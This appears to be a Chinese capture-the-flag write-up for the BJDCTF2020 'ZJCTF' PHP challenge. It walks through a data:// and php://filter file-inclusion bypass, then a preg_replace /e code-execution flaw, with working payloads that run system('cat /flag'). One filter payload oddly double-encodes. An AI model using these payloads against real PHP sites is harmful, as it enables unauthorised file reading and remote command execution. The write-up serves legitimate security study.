[BJDCTF2020]ZJCTF,不过如此

题目源码:

复制代码
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

代码要求我们有两个get参数,首先,代码会检查是否设置了text参数,并且通过file_get_contents()函数读取指定文件的内容。如果读取到的文件内容等于"I have a dream",则会将这个内容显示在页面上。

接下来,代码检查是否设置了file参数,并且使用include()函数包含这个文件。然而,在包含文件之前,代码进行了一些安全性检查。它使用preg_match()函数判断$file中是否包含"flag"字符串,如果包含则输出错误信息并终止脚本执行。

如果以上条件都满足,那么就会包含指定的文件($file

根据提示的next.php,我们去访问它

第一点我们可以用data协议流绕过,

?text=data://text/plain,I have a dream

或者input,两者作用相同

?text=php://input

在post请求体写入I have a dream,然后发现直接给file传文件名读不出内容

需要伪协议读文件,payload:

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=next.php

解码得:

复制代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

preg_replace中的/e修正符,指的是如果匹配到了,就会执行preg_replace的第二个参数,也就是代替的内容,这个题里面是strtolower("\\1")

可变变量

有时候使用可变变量名是很方便的。 就是说,一个变量的变量名可以动态的设置和使用。 一个普通的变量通过声明来设置,例如:

<?php
$a = 'hello';
?>

一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。 在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。 例如:

<?php
$$a = 'world';
?>

这时,两个变量都被定义了: a 的内容是"hello"并且 hello 的内容是"world"。 因此,以下语句:

<?php
echo "$a {$$a}";
?>

与以下语句输出完全相同的结果:

<?php
echo "$a $hello";
?>

它们都会输出: hello world 。

要将可变变量用于数组,必须解决一个模棱两可的问题。 这就是当写下 a\[1\] 时,解析器需要知道是想要 $a\[1\] 作为一个变量呢,还是想要 a 作为一个变量并取出该变量中索引为 1 的值。 解决此问题的语法是,对第一种情况用 {a1} ,对第二种情况用 {a}1

类的属性也可以通过可变属性名来访问。 可变属性名将在该调用所处的范围内被解析。 例如,对于 foo-\>bar 表达式,则会在本地范围来解析 bar 并且其值将被用于 foo 的属性名。 对于 $bar 是数组单元时也是一样。引用自:PHP: 可变变量 - Manual

payload:

next.php?\S*=${getFlag()}&cmd=system('cat+/flag');

next.php?\S*=${getflag()}&cmd=show_source('/flag');


深入研究preg_replace与代码执行 - 先知社区

相关推荐
Promise微笑4 分钟前
智能激光清障仪选型指南:高效运维与安全保障的关键考量
运维·安全
腾霄星月1 小时前
Cobalt Strike(CS)内网渗透工具核心重点知识总结
网络安全·cs·cobalt strike
BEOL贝尔科技3 小时前
还在担心样本的安全吗?如何制定有效的温湿度异常应急预案?
人工智能·安全
未来之窗软件服务5 小时前
基于设备ID固化的SaaS客户端访问安全防护的必要性探析—东方仙盟
安全·仙盟创梦ide·东方仙盟·计算机考试
科技发布5 小时前
金理奖背书,传播易打造安全、透明、低成本广告投放渠道
安全
MartinYeung56 小时前
[论文学习]LLM 中的个性化安全:一个基准测试与基于规划的智能体方法
人工智能·学习·安全
王维同学6 小时前
IFEO Debugger、VerifierDlls 与 SilentProcessExit 配置
c++·windows·安全·注册表
析数塔8 小时前
SleeperGem 技术拆解:恶意 gem 是怎么躲过 CI/CD 扫描的
安全·ci/cd·github
酉鬼女又兒9 小时前
[特殊字符]零基础入门AI:归纳演绎、假设空间、归纳偏好、NFL、过拟合与欠拟合、模型评估选择、超参数、性能度量、混淆矩阵、P-R曲线和F1
人工智能·windows·python·深度学习·安全·机器学习·矩阵
●VON11 小时前
鸿蒙 PC Markdown 编辑器 Alpha 评审:如何用退出条件判断阶段完成
网络·安全·华为·编辑器·harmonyos·鸿蒙